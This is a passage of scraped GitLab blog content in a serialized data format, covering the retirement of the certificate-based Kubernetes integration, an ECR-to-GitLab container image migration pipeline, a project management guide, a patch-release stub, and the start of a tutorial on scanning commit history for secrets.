}",{"title":2537,"description":2538,"authors":2543,"heroImage":2539,"date":2545,"body":2546,"category":695,"tags":2547,"updatedDate":1721},[2544],"Viktor Nagy","2025-02-17","__*Note: In a previously published version of this article, we stated that the certificate-based Kubernetes integration would be sunset in GitLab 18.0 in May 2025. That timeline has been extended to GitLab 19.0, planned for May 2026. See the [deprecation notice](https://docs.gitlab.com/update/deprecations/#gitlab-self-managed-certificate-based-integration-with-kubernetes) for details.*__\n\nThe certificate-based Kubernetes integration was [deprecated in GitLab November 2021](https://about.gitlab.com/blog/deprecating-the-cert-based-kubernetes-integration/), and is available on GitLab.com only to previous users. In May 2026, the integration will sunset on GitLab.com and will stop working. Customers often use the integration to deploy applications to production and non-production environments. As a result, failure to migrate to other options could cause a critical incident in your application delivery pipelines. This post outlines the alternative features that GitLab offers, points out how you can identify the potential impact on your GitLab.com groups and projects, and offers links to the GitLab documentation to learn more about the necessary migration steps.\n\n## Recommended alternative: The GitLab agent for Kubernetes\n\nThe GitLab agent for Kubernetes represents a significant advancement over the certificate-based integration, offering enhanced security, reliability, and functionality. Here are the key benefits of migrating to the agent-based approach:\n\n### Enhanced security  \n- Eliminates the need for storing cluster credentials in GitLab  \n- Provides secure, bidirectional communication between GitLab and your clusters  \n- Supports fine-grained access control and authorization policies  \n- Enables secure GitOps workflows with pull-based deployments\n\n### Improved reliability  \n- Maintains persistent connections, reducing deployment failures  \n- Handles network interruptions gracefully  \n- Provides better logging and troubleshooting capabilities  \n- Supports automatic reconnection and state recovery\n\n### Advanced features  \n- Real-time cluster information integrated into the GitLab UI  \n- Integration with GitLab CI/CD pipelines  \n- Support for multiple clusters and multi-tenant environments  \n- Enhanced GitOps capabilities by integrating with FluxCD\n\n## Get started with the GitLab agent for Kubernetes\n\nIf you haven't tried the GitLab Agent for Kubernetes yet, we strongly recommend going through the [getting started guides](https://docs.gitlab.com/ee/user/clusters/agent/getting_started). These guides will walk you through the basic setup and help you understand how the agent works in your environment. The hands-on experience will help make the migration process smoother.\n\n## Impact assessment\n\nWe implemented a [dedicated API](https://docs.gitlab.com/ee/api/cluster_discovery.html) endpoint to query all the certificate-based clusters within a GitLab group hierarchy. We recommend starting with this API to see if you have any clusters that need to be migrated.\n\nOnce you identify the clusters, you should:\n1. Find group and project owners using the certificate-based integration.  \n2. Check CI/CD pipelines for direct Kubernetes API calls.  \n3. Identify Auto DevOps projects using the old integration.  \n4. List any GitLab-managed clusters in use.  \n5. Set up the agent in the affected clusters. \n6. Follow the guidance provided in this post and record your progress in a tracking issue.\n\n## Update your CI/CD integration\n\nThe legacy certificate-based integration works using GitLab CI/CD. Because the agent seamlessly integrates with GitLab CI/CD pipelines, you can use it to replace the certificate-based integration with relatively little effort. The agent-based CI/CD integration offers several improvements over the certificate-based approach:\n\n1. **Direct cluster access:** CI/CD jobs can interact with clusters through the agent without requiring separate credentials.  \n2. **Enhanced security:** You don't need to store cluster credentials in CI/CD variables. \n3. **Simplified configuration:** A single agent configuration file manages all cluster interactions.  \n4. **Better performance:** Persistent connections reduce deployment overhead.  \n5. **Flexible authorization:** On GitLab Premium and Ultimate, you can rely on impersonation features to restrict CI/CD jobs in the cluster.\n\nAt a high level, there are three steps to migrating your existing CI/CD pipelines:  \n1. Set up the agent by following [the getting started guides](https://docs.gitlab.com/ee/user/clusters/agent/getting_started).  \n2. [Share the agent connection with the necessary groups and projects.](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html#authorize-the-agent). \n3. [Select the agent in the pipeline jobs.](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html#update-your-gitlab-ciyml-file-to-run-kubectl-commands)\n\nYou can read more about [migrating Kubernetes deployments in general](https://docs.gitlab.com/ee/user/infrastructure/clusters/migrate_to_gitlab_agent.html) or about [the agent CI/CD integration](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) in the documentation.\n\n## Migrate your Auto DevOps configuration\n\nAuto DevOps is a set of CI/CD templates that are often customized by users. With Auto DevOps, you can automatically configure your CI/CD pipelines to build, test, and deploy your applications based on best practices. It's commonly used with the certificate-based integration for deploying applications to Kubernetes clusters. \n\nIf you use Auto DevOps and you rely on the certificate-based integration, you need to transition to the agent-based deployment mechanism. The migration process is straightforward:\n1. Set up the CI/CD integration as described above.  \n2. Configure the `KUBE_CONTEXT` environment variable to select an agent.  \n4. Remove the old certificate-based cluster integration.\n\nYou can read more about [using Auto DevOps with the agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html\\#environments-that-use-auto-devops) in the documentation.\n\n## Transition from GitLab-managed clusters to GitLab-managed Kubernetes resources\n\nWith GitLab-managed clusters, GitLab automatically creates and manages Kubernetes resources for your projects. When you allow GitLab to manage your cluster, it creates RBAC resources like a Namespace and ServiceAccount. \n\nIf you use GitLab-managed clusters, you should transition to GitLab-managed Kubernetes resources, which offers a more flexible and secure approach to cluster management.\n\nTo migrate: \n1. Document your existing cluster configuration.  \n2. Create corresponding Kubernetes resource definitions.  \n3. Store configurations in your repository.  \n4. Configure the GitLab agent to manage these resources.  \n5. Verify resource management and deployment. \n6. Remove the old cluster integration.\n\nYou can read more about [GitLab-managed Kubernetes resources](https://docs.gitlab.com/ee/user/clusters/agent/getting\\_started) in the documentation.\n\n## Manage cloud provider clusters created through GitLab\n\nIf you created Kubernetes clusters through the GitLab integration with Google Kubernetes Engine (GKE) or Amazon Elastic Kubernetes Service (EKS), these clusters were provisioned in your respective cloud provider accounts. After the certificate-based integration is removed:\n1. Your clusters will remain fully operational in Google Cloud or AWS.  \n2. You will need to manage these clusters directly through your cloud provider's console:  \n   - GKE clusters through Google Cloud Console  \n   - EKS clusters through AWS Management Console\n\nTo view cluster information within GitLab:\n 1. Install the GitLab agent for Kubernetes. \n 1. Configure the Kubernetes dashboard integration.  \n 1. Check the dashboard for cluster details and resource information.\n\nThis change only affects how you interact with the clusters through GitLab – it does not impact the clusters' operation or availability in your cloud provider accounts.\n\nYou should still migrate your deployment setups as described above.\n\n## What should I do next?\n\nTo minimize the impact to you and your infrastructure, you should follow these steps:\n1. Check if you are impacted as soon as possible.  \n2. Plan your migration timeline before May 2026.  \n3. Start with non-production environments to gain experience.  \n4. Document your current setup and desired state.  \n5. Test the agent-based approach in a staging environment.  \n6. Gradually migrate production workloads.  \n7. Monitor and validate the new setup.\n\nThe migration to the GitLab agent for Kubernetes represents a significant improvement in how GitLab interacts with Kubernetes clusters. While the migration requires careful planning and execution, the benefits in terms of security, reliability, and functionality make it a worthwhile investment for your DevSecOps infrastructure.",[110,2509,695,479],{"slug":2549,"featured":6,"template":678},"certificate-based-kubernetes-integration-sunsetting-on-gitlab-com","content:en-us:blog:certificate-based-kubernetes-integration-sunsetting-on-gitlab-com.yml","Certificate Based Kubernetes Integration Sunsetting On Gitlab Com","en-us/blog/certificate-based-kubernetes-integration-sunsetting-on-gitlab-com.yml","en-us/blog/certificate-based-kubernetes-integration-sunsetting-on-gitlab-com",{"_path":2555,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2556,"content":2562,"config":2567,"_id":2569,"_type":16,"title":2570,"_source":17,"_file":2571,"_stem":2572,"_extension":20},"/en-us/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"title":2557,"description":2558,"ogTitle":2557,"ogDescription":2558,"noIndex":6,"ogImage":2559,"ogUrl":2560,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2560,"schema":2561},"Automating container image migration from Amazon ECR to GitLab","When platform teams move their CI/CD to GitLab, migrating container images shouldn't be the bottleneck. Follow this step-by-step guide to automate the pipeline migration process.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663129/Blog/Hero%20Images/blog-image-template-1800x945__28_.png","https://about.gitlab.com/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating container image migration from Amazon ECR to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-13\",\n      }",{"title":2557,"description":2558,"authors":2563,"heroImage":2559,"date":2564,"body":2565,"category":734,"tags":2566},[1125],"2025-02-13","\"We need to migrate hundreds of container images from Amazon Elastic Container Registry (ECR) to GitLab. Can you help?\" This question kept coming up in conversations with platform engineers. They were modernizing their DevSecOps toolchain with GitLab but got stuck when faced with moving their container images. While each image transfer is simple, the sheer volume made it daunting.\n\nOne platform engineer perfectly said, \"I know exactly what needs to be done – pull, retag, push. But I have 200 microservices, each with multiple tags. I can't justify spending weeks on this migration when I have critical infrastructure work.\"\n\n## The challenge\n\nThat conversation sparked an idea. What if we could automate the entire process? When platform teams move their [CI/CD](https://about.gitlab.com/topics/ci-cd/) to GitLab, migrating container images shouldn't be the bottleneck. The manual process is straightforward but repetitive – pull each image, retag it, and push it to GitLab's Container Registry. Multiply this by dozens of repositories and multiple tags per image, and you're looking at days or weeks of tedious work.\n\n## The solution\n\nWe set out to create a GitLab pipeline that would automatically do all this heavy lifting. The goal was simple: Give platform engineers a tool they could set up in minutes and let run overnight, waking up to find all their images migrated successfully.\n\n### Setting up access\n\nFirst things first – security. We wanted to ensure teams could run this migration with minimal AWS permissions. Here's the read-only identity and access management (IAM) policy you'll need:\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"ecr:GetAuthorizationToken\",\n                \"ecr:BatchCheckLayerAvailability\",\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:ListImages\",\n                \"ecr:DescribeImages\",\n                \"ecr:BatchGetImage\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}\n```\n\n### GitLab configuration\n\nWith security handled, the next step is setting up GitLab. We kept this minimal - you'll need to configure these variables in your CI/CD settings:\n\n```\nAWS_ACCOUNT_ID: Your AWS account number\nAWS_DEFAULT_REGION: Your ECR region\nAWS_ACCESS_KEY_ID: [Masked]\nAWS_SECRET_ACCESS_KEY: [Masked]\nBULK_MIGRATE: true\n```\n\n### The migration pipeline\n\nNow for the interesting part. We built the pipeline using Docker-in-Docker to handle all the image operations reliably:\n\n```yaml\nimage: docker:20.10\nservices:\n  - docker:20.10-dind\n\nbefore_script:\n  - apk add --no-cache aws-cli jq\n  - aws sts get-caller-identity\n  - aws ecr get-login-password | docker login --username AWS --password-stdin\n  - docker login -u ${CI_REGISTRY_USER} -p ${CI_REGISTRY_PASSWORD} ${CI_REGISTRY}\n```\n\nThe pipeline works in three phases, each building on the last:\n\n1. Discovery\n\nFirst, it finds all your repositories:\n\n```bash\nREPOS=$(aws ecr describe-repositories --query 'repositories[*].repositoryName' --output text)\n```\n\n2. Tag enumeration\n\nThen, for each repository, it gets all the tags:\n\n```bash\nTAGS=$(aws ecr describe-images --repository-name $repo --query 'imageDetails[*].imageTags[]' --output text)\n```\n\n3. Transfer\n\nFinally, it handles the actual migration:\n\n```bash\ndocker pull ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag}\ndocker tag ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag} ${CI_REGISTRY_IMAGE}/${repo}:${tag}\ndocker push ${CI_REGISTRY_IMAGE}/${repo}:${tag}\n```\n\n## What you get\n\nRemember that platform engineer who didn't want to spend weeks on migration? Here's what this solution delivers:\n\n- automated discovery and migration of all repositories and tags\n- consistent image naming between ECR and GitLab\n- error handling for failed transfers\n- clear logging for tracking progress\n\nInstead of writing scripts and babysitting the migration, the platform engineer could focus on more valuable work.\n\n## Usage\n\nGetting started is straightforward:\n\n1. Copy the `.gitlab-ci.yml` to your repository.\n2. Configure the AWS and GitLab variables.\n3. Set `BULK_MIGRATE` to \"true\" to start the migration.\n\n## Best practices\n\nThrough helping teams with their migrations, we've learned a few things:\n\n- Run during off-peak hours to minimize the impact on your team.\n- Keep an eye on the pipeline logs - they'll tell you if anything needs attention.\n- Don't decommission ECR until you've verified all images transferred successfully.\n- For very large migrations, consider adding rate limiting to avoid overwhelming your network\n\nWe've open-sourced this pipeline in our public GitLab repository because we believe platform engineers should spend time building valuable infrastructure, not copying container images. Feel free to adapt it for your needs or ask questions about implementation.\n\n> #### Get started with this and other package components with our [CI/CD Catalog documentation](https://gitlab.com/explore/catalog/components/package).",[110,944,696,479,695,2488],{"slug":2568,"featured":92,"template":678},"automating-container-image-migration-from-amazon-ecr-to-gitlab","content:en-us:blog:automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","Automating Container Image Migration From Amazon Ecr To Gitlab","en-us/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","en-us/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"_path":2574,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2575,"content":2580,"config":2585,"_id":2588,"_type":16,"title":2589,"_source":17,"_file":2590,"_stem":2591,"_extension":20},"/en-us/blog/gitlab-patch-release-17-8-2-17-7-4-17-6-5",{"title":2576,"description":2398,"ogTitle":2576,"ogDescription":2398,"config":2577,"ogImage":712,"ogUrl":2578,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2578,"schema":2579},"GitLab Patch Release: 17.8.2, 17.7.4, 17.6.5",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-8-2-17-7-4-17-6-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.8.2, 17.7.4, 17.6.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2025-02-12\",\n      }",{"title":2576,"description":2398,"authors":2581,"heroImage":712,"date":2582,"body":2583,"category":695,"tags":2584},[1014],"2025-02-12","This is the post for [GitLab Patch Release: 17.8.2, 17.7.4, 17.6.5](https://about.gitlab.com/releases/2025/02/12/patch-release-gitlab-17-8-2-released/).",[774,1464],{"slug":2586,"featured":6,"template":678,"externalUrl":2587},"gitlab-patch-release-17-8-2-17-7-4-17-6-5","https://about.gitlab.com/releases/2025/02/12/patch-release-gitlab-17-8-2-released/","content:en-us:blog:gitlab-patch-release-17-8-2-17-7-4-17-6-5.yml","Gitlab Patch Release 17 8 2 17 7 4 17 6 5","en-us/blog/gitlab-patch-release-17-8-2-17-7-4-17-6-5.yml","en-us/blog/gitlab-patch-release-17-8-2-17-7-4-17-6-5",{"_path":2593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2594,"content":2600,"config":2605,"_id":2607,"_type":16,"title":2608,"_source":17,"_file":2609,"_stem":2610,"_extension":20},"/en-us/blog/getting-started-with-gitlab-mastering-project-management",{"title":2595,"description":2596,"ogTitle":2595,"ogDescription":2596,"noIndex":6,"ogImage":2597,"ogUrl":2598,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2598,"schema":2599},"Getting started with GitLab: Mastering project management","Discover the key components of project management and how to put them to use for better organization and tracking.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097294/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097293924.png","https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab: Mastering project management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-02-11\",\n      }",{"title":2595,"description":2596,"authors":2601,"heroImage":2597,"date":2602,"body":2603,"category":695,"tags":2604},[711],"2025-02-11","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nGitLab is much more than just a place to store your code. It is an AI-powered DevSecOps platform with tools to help you plan, organize, track, and successfully deliver your projects. This post will guide you through GitLab's key project management features and show you how to leverage them effectively.\n\n## Why GitLab for project management?\n\nImagine having your code repository, issue tracker, and communication platform all seamlessly integrated in one place. That's the power of GitLab. By centralizing everything, you can streamline your workflow, enhance collaboration, and keep your projects moving forward. No more jumping between different tools and losing track of information. GitLab brings it all together, making it easier to manage your projects from start to finish.\n\n## Key components of GitLab project management\n\nLet's break down the essential elements:\n\n* [Epics](https://docs.gitlab.com/ee/user/group/epics/): Think of epics as the big picture. They represent major features, overarching goals, or long-term initiatives within your project. Need to revamp your website? That's an epic! Epics help you organize your work into larger, manageable chunks.  \n* [Issues](https://docs.gitlab.com/ee/user/project/issues/): Issues are the individual tasks or work items that contribute to your project goals. Each issue represents a specific action, like \"design the homepage\" or \"write the 'about us' page.\" Issues are the building blocks of your project, and they provide a clear way to track individual tasks.  \n* [Labels](https://docs.gitlab.com/ee/user/project/labels.html): Labels are like tags that help you categorize and filter your work. You can use labels to indicate priority (e.g., high, medium, low), status (e.g., to do, in progress, done), or assign issues to specific teams or individuals. Labels provide a flexible way to organize and prioritize your work.  \n* Boards: GitLab's issue boards are your visual workspace. They provide a Kanban-style view of your project, allowing you to see the status of all your issues at a glance. Drag and drop issues across different lists (e.g., \"To Do,\" \"Doing,\" \"Done\") to visualize your workflow and track progress. In GitLab, you can create boards for [issues](https://docs.gitlab.com/ee/user/project/issue_board.html) and [Epics](https://docs.gitlab.com/ee/user/group/epics/epic_boards.html).  \n* [Milestones](https://docs.gitlab.com/ee/user/project/milestones/): Milestones mark significant checkpoints or target dates within your project. They help you track progress towards specific goals and deadlines. For example, you might have milestones for completing a major feature, releasing a beta version, or launching the final product.  \n* [Tasks](https://docs.gitlab.com/ee/user/tasks.html): For those extra granular steps, break down your issues into smaller tasks. This helps with delegation, clarifies individual responsibilities, and ensures nothing gets overlooked. Tasks provide a way to create checklists within issues, making it easier to track progress on complex tasks.\n\n## Deep dive into the features\n\n### 1. Epics: The big picture\n\n* Creating epics: Navigate to your group's \"Epics\" menu under “Plan”. Click **New epic** and give it a descriptive title and a clear description outlining the goal. You can also specify the start and end date of the epic – this is useful when using [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/).\n\n![Epic creation page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097300817.png)\n\n* [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/): Add your epics to a roadmap to visualize your project timeline and long-term goals. Roadmaps provide a bird's-eye view of your project plan, making it easy to see the big picture and track progress towards major milestones.\n\n![Roadmap view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097300818.png)\n\n### 2. Issues: Getting things done\n\n* Creating issues: In your project, go to the \"Issues\" menu under “Plan” and click **New issue**. Provide a concise and descriptive title like \"Design Homepage Wireframes,\" assign it to a team member, set a due date, and add a detailed description outlining the task's requirements.  \n* GitLab Duo: You can leverage the power of [GitLab Duo to create detailed issue descriptions](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#populate-an-issue-with-issue-description-generation) with just a little hint of what you want to achieve.  \n* Weighting: Estimate the effort required for each issue by assigning weights. This helps with planning and prioritization. For example, a simple task might have a weight of **1**, while a more complex task might have a weight of **5**.\n\n![Issue with weight of 4 assigned](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097300819.png)\n\n### 3. Labels: Organizing your work\n\n* Creating labels: Go to your project's \"Issues\" tab and click Labels. Create custom labels with clear names to categorize your issues. For example, create labels like **Priority: High**, **Status: In Progress**, or **Team: Design**. Apply these labels to your issues to keep them organized and easily filterable.\n\n![Labels screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097300820.png)\n\n### 4. Boards: Visualizing your workflow\n\n* Kanban boards: GitLab's boards provide a Kanban-style view of your project. Create lists like \"To Do,\" \"Doing,\" and \"Done\" to represent the stages of your workflow. Drag and drop issues across these lists to visualize their progress.\n* Customizing boards: Tailor your boards to match your specific workflow. Add more columns, filter issues by labels or assignees, and set up swim lanes to categorize issues by epics or other criteria.\n\n![Visualize workflow with issue boards](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097300820.png)\n\n### 5. Tasks: Breaking down the work\n\n* Creating tasks: Within an issue, use the checklist markdown syntax to create a task list. Each item in the list represents a smaller step within the larger issue. For example, in the issue \"Design Homepage Wireframes,\" you might have tasks like \"Sketch initial concepts,\" \"Create digital wireframes,\" and \"Get feedback from stakeholders.\" To create a Task, click on the **Add** button in the \"Child Items\" section of an issue’s page. Then, enter the title of the task, and click **Create Task**.\n\n![Issue with create task button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097300822.png)\n\n### 6. Milestones: Tracking progress\n* Setting milestones: Define milestones to mark significant points in your project, like completing a specific feature or reaching a key deadline. Give your milestones clear titles and due dates.\n* Associating with issues: Link issues and epics to milestones to track progress towards those goals. This helps you see how individual tasks contribute to the overall project plan.\nCreating a milestone: Under the \"Plan\" dropdown menu, click on **Milestones > New milestone**. Specify the milestone title, description, and start and due dates.\n\n![New milestone screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097300823.png)\n\n\u003Cbr>\u003C/br>\n\n![New page wtih milestone on it](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097300823.png)\n\n### 7. [Iterations](https://docs.gitlab.com/ee/user/group/iterations/): Working in sprints\n\n* Defining iterations: If you're using an Agile workflow, define iterations (sprints) with specific start and end dates. This helps you break down your work into smaller, more manageable time boxes.  \n* Assigning issues: Assign issues to iterations to plan your work in shorter cycles and focus on delivering incremental value.\n\n### 8. [Time tracking](https://docs.gitlab.com/ee/user/project/time_tracking.html): Measuring effort\n\n* Logging time: Within an issue, use the \"/spend\" quick action followed by the time spent (e.g., \"/spend 2h 30m\") to log your work. This helps you track the actual time spent on each task.  \n* Analyzing data: Generate time tracking reports to gain insights into project progress, team efficiency, and identify potential bottlenecks.\n\n![Time tracking report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097300824.png)\n\n### 9. Dependencies: Managing workflow\n\n* [Linking issues](https://docs.gitlab.com/ee/user/project/issues/related_issues.html): Create dependencies between issues to ensure tasks are completed in the correct order. For example, if issue A must be completed before issue B can begin, you can create a dependency between them. This helps you visualize the workflow and avoid potential roadblocks.\n\n### 10. Templates: Streamlining issue creation\n\n* [Creating templates](https://docs.gitlab.com/ee/user/project/description_templates.html): Create issue templates to standardize the information captured for common tasks, saving you time and ensuring consistency. For example, you could create a template for bug reports that includes fields for steps to reproduce expected behavior and actual behavior.\n\n### Collaboration is key\n\nGitLab fosters collaboration through the following:\n\n* [Comments](https://docs.gitlab.com/ee/user/discussions/): Discuss issues and epics directly within GitLab. Use comments to provide updates, ask questions, and share feedback.  \n* [Mentions](https://docs.gitlab.com/ee/user/discussions/#mentions): Use **@** to mention specific team members and notify them of updates or request their input.  \n* Discussions: Engage in threaded discussions within issues and epics to brainstorm ideas, solve problems together, and keep everyone informed.\n\n### Ready to get started?\n\nNow that you've explored the power of GitLab's project management features, it's time to put them into practice! Create a sample project, experiment with different features, and discover how GitLab can transform your workflow. You can also learn more about how GitLab can help you facilitate [Kanban](https://docs.gitlab.com/ee/tutorials/kanban/) and [Scrum](https://docs.gitlab.com/ee/tutorials/scrum_events/) in the GitLab documentation.\n\n> #### Want to take your learning to the next level? [Sign up for GitLab University courses](https://university.gitlab.com/). Or you can get going right away with a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## \"Getting started with GitLab\" series\nRead more articles in our \"Getting started with GitLab\" series:\n\n- [How to manage users](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Automating Agile workflows with the gitlab-triage gem](https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Understanding CI/CD](https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd/)\n- [Working with CI/CD variables](https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables/)",[696,695,479,1899],{"slug":2606,"featured":6,"template":678},"getting-started-with-gitlab-mastering-project-management","content:en-us:blog:getting-started-with-gitlab-mastering-project-management.yml","Getting Started With Gitlab Mastering Project Management","en-us/blog/getting-started-with-gitlab-mastering-project-management.yml","en-us/blog/getting-started-with-gitlab-mastering-project-management",{"_path":2612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2613,"content":2619,"config":2626,"_id":2628,"_type":16,"title":2629,"_source":17,"_file":2630,"_stem":2631,"_extension":20},"/en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets",{"title":2614,"description":2615,"ogTitle":2614,"ogDescription":2615,"noIndex":6,"ogImage":2616,"ogUrl":2617,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2617,"schema":2618},"How to scan a full commit history to detect sensitive secrets","Use GitLab Secret Detection to scan a repository's commit history, including branches. View results within the GitLab UI with just a few lines of code added to a pipeline file.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097948/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%281%29_2XDPsbkjQ3o6tcdom6IGxI_1750097948673.png","https://about.gitlab.com/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to scan a full commit history to detect sensitive secrets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"},{\"@type\":\"Person\",\"name\":\"Jerez Solis\"}],\n        \"datePublished\": \"2025-02-06\",\n      }",{"title":2614,"description":2615,"authors":2620,"heroImage":2616,"date":2623,"body":2624,"category":674,"tags":2625},[2621,2622],"Noah Ing","Jerez Solis","2025-02-06","Secrets left exposed in outdated repositories pose significant risk for data breaches. For example, a still-active secret key can be exposed, leaving it vulnerable to exploitation. Secrets include access keys, API tokens, private keys, and other sensitive values. \n\nIn this article, you'll learn how to use GitLab Secret Detection to scan a repository’s full commit history, including all branches, to detect sensitive secrets. In addition, you will discover how to view the results directly within the GitLab UI without the need for any integration. All it takes is just a couple of lines of code in your `.gitlab-ci.yml` pipeline file. \n\n## Scan every corner of your repository\n\nWe will use the sample repository shown in the screenshot below as an example. To keep things simple, there is only a `README.md` file present in the default branch of this repository. \n\n![Sample repository to scan](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097955851.png)\n\nAt first glance, it may seem like the repository is empty and that there are probably no sensitive secrets in this repository. But what we are looking at is only the state of the default branch, which is the main branch in this example. There could be feature branches in this repository created weeks, months, or years ago with sensitive secrets. It is also possible that a file with a secret was accidentally pushed to the repo and then deleted right after. However, it likely was not deleted correctly and is still in the commit history.\n\nWe are going to enable GitLab Secret Detection scanner and set the `SECRET_DETECTION_HISTORIC_SCAN` variable to **true** so that the content of all branches in the repository is scanned.\n\n![Enable GitLab Secret Detection variable to true](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097955853.png)\n\n```\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\nsecret_detection:\n  variables:\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n```\n\nBy setting the `SECRET_DETECTION_HISTORIC_SCAN` variable to **true**, GitLab Secret Detection looks into every branch and commit of your repository. It ensures that no sensitive information — whether from a feature branch or an old commit — is left unchecked.\n\n## Results of the scan\n\nTwo sensitive secrets were identified in the repository. One is a password in a `.env` file that was deleted from the repository, but the commit containing it was not removed from the git history. The other is an AWS Access Token found in a feature branch. These exposed secrets could compromise the organization’s security. \n\n![AWS Access Token screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097955855.png)\n\nYou can click on the AWS Access Token result to see more details, including the file location. You can also create a GitLab issue to triage the vulnerability with one click. If you’re using the Jira integration, you can create a Jira ticket directly from the vulnerability page as well.\n\n## Why scanning for secrets matters\n\nAnyone with access to the repository can misuse the secret to gain unauthorized access to private resources and sensitive data. \n\nIn addition to scanning a repository’s full commit history across all branches, GitLab Secret Detection also helps you take a multilayered approach to detecting secrets:\n\n* [Secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/index.html) - scans commits for secrets during a push and blocks it if secrets are detected, unless skipped, reducing the risk of leaks.  \n* [Pipeline secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html) - scans files after they’ve been committed and pushed to a GitLab repository.\n* [Client-side secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/client/index.html) - scans comments and descriptions in issues and merge requests for secrets before they're saved to GitLab.  * [Automatic response to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) - automatically revokes certain types of leaked secrets and notifies the partner that issued the secret. \n\nYou can adjust pipeline secret detection to suit your needs by modifying, extending, or replacing the default ruleset. For 